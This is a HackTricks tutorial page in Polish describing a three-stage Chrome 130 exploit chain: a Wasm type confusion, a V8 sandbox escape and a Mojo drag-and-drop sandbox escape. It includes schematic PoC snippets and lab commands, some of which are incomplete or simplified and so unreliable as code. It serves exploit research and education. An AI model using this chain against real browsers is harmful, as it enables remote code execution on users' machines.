Chrome Exploiting
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ta strona zawiera wysokopoziomowy, a jednocześnie praktyczny przegląd nowoczesnego przepływu pracy “full-chain” exploitation przeciwko Google Chrome 130, opartego na serii badań “101 Chrome Exploitation” (Part-0 — Preface). Celem jest dostarczenie pentesters i exploit-developers minimalnego tła niezbędnego do odtworzenia lub adaptacji technik dla własnych badań.
1. Podsumowanie architektury Chrome
Zrozumienie powierzchni ataku wymaga wiedzy, gdzie kod jest wykonywany i które sandboxes mają zastosowanie.
Układ procesów Chrome & sandboxes
```text +-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+ ```Obrona warstwowa (defence-in-depth):
- V8 sandbox (Isolate): uprawnienia pamięci są ograniczone, aby zapobiec arbitralnemu odczytowi/zapisowi z JITed JS / Wasm.
- Renderer ↔ Browser split zapewniony przez Mojo/IPC message passing; renderer nie ma natywnego dostępu do FS/sieci.
- OS sandboxes dodatkowo izolują każdy proces (Windows Integrity Levels /
seccomp-bpf/ macOS sandbox profiles).
Zdalny atakujący potrzebuje więc trzech kolejnych prymitywów:
- Naruszenie pamięci w V8, żeby uzyskać dowolny odczyt/zapis w heapie V8.
- Drugi błąd umożliwiający atakującemu ucieczkę z V8 sandbox do pełnej pamięci renderera.
- Ostateczna ucieczka z sandboxa (często błąd logiczny, nie naruszenie pamięci) w celu wykonania kodu poza Chrome OS sandbox.
2. Etap 1 – WebAssembly Type-Confusion (CVE-2025-0291)
Błąd w optymalizacji Turboshaft w TurboFanie błędnie klasyfikuje WasmGC reference types, gdy wartość jest produkowana i konsumowana we single basic block loop.
Efekt:
- Kompilator pomija sprawdzenie typu, traktując reference (
externref/anyref) jako int64. - Skomponowany Wasm pozwala na nakładanie nagłówka obiektu JS na dane kontrolowane przez atakującego →
addrOf()&fakeObj()AAW / AAR primitives.
Minimalny PoC (wycinek):
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
Wymuś optymalizację & spray objects z JS:
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
Outcome: arbitrary read/write within V8.
3. Stage 2 – Ucieczka z piaskownicy V8 (issue 379140430)
Gdy funkcja Wasm jest tier-up-compiled, generowany jest JS ↔ Wasm wrapper. Błąd niedopasowania sygnatur powoduje, że wrapper zapisuje poza końcem zaufanego obiektu Tuple2 gdy funkcja Wasm jest ponownie optymalizowana gdy nadal znajduje się na stosie.
Nadpisanie 2 × 64-bitowych pól obiektu Tuple2 skutkuje read/write on any address inside the Renderer process, efektywnie omijając piaskownicę V8.
Kluczowe kroki exploita:
- Doprowadź funkcję do stanu Tier-Up przez naprzemienne uruchamianie kodu turbofan/baseline.
- Wywołaj tier-up, utrzymując referencję na stosie (
Function.prototype.apply). - Użyj Stage-1 AAR/AAW, aby znaleźć i uszkodzić sąsiedni
Tuple2.
Wrapper identification:
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
Po korupcji posiadamy w pełni funkcjonalny renderer R/W primitive.
4. Etap 3 – Renderer → Ucieczka z sandboxa OS (CVE-2024-11114)
Interfejs IPC Mojo blink.mojom.DragService.startDragging() może być wywołany z Renderera z częściowo zaufanymi parametrami. Poprzez skonstruowanie struktury DragData wskazującej na dowolną ścieżkę pliku renderer przekonuje przeglądarkę do wykonania natywnego drag-and-drop poza sandboxem renderera.
Wykorzystując to możemy programowo „przeciągnąć” złośliwy plik EXE (wcześniej umieszczony w miejscu zapisywalnym przez wszystkich) na Desktop, gdzie Windows automatycznie uruchamia niektóre typy plików po upuszczeniu.
Example (simplified):
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
Nie jest potrzebne dodatkowe uszkodzenie pamięci – błąd logiczny pozwala na dowolne uruchamianie plików z uprawnieniami użytkownika.
5. Pełny przebieg łańcucha
- Użytkownik odwiedza złośliwą stronę.
- Etap 1: moduł Wasm wykorzystuje CVE-2025-0291 → V8 heap AAR/AAW.
- Etap 2: niezgodność wrappera uszkadza
Tuple2→ ucieczka z sandboxa V8. - Etap 3:
startDragging()IPC → ucieczka z sandboxa OS i wykonanie payloadu.
Wynik: Remote Code Execution (RCE) na hoście (Chrome 130, Windows/Linux/macOS).
6. Konfiguracja labu i debugowania
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
Przydatne flagi przy uruchamianiu wersji deweloperskiej Chrome:
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
7. Renderer → kernel escape resource
Gdy exploit w renderer wymaga pivotu do kernela, który pozostaje wewnątrz profilu seccomp, wykorzystanie gniazd AF_UNIX MSG_OOB, nadal dostępnych w sandbox, zapewnia deterministyczną ścieżkę. Sprawdź poniższe studium przypadku dotyczące Linux kernel exploitation dla łańcucha SKB UAF → kernel RCE:
Af Unix Msg Oob Uaf Skb Primitives
Wnioski
- WebAssembly JIT bugs pozostają niezawodnym punktem wejścia – system typów jest wciąż młody.
- Uzyskanie drugiego błędu memory-corruption w V8 (np. wrapper mismatch) znacząco upraszcza V8-sandbox escape.
- Słabości logiczne w uprzywilejowanych interfejsach Mojo IPC często wystarczają do final sandbox escape – zwróć uwagę na non-memory bugs.
Referencje
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


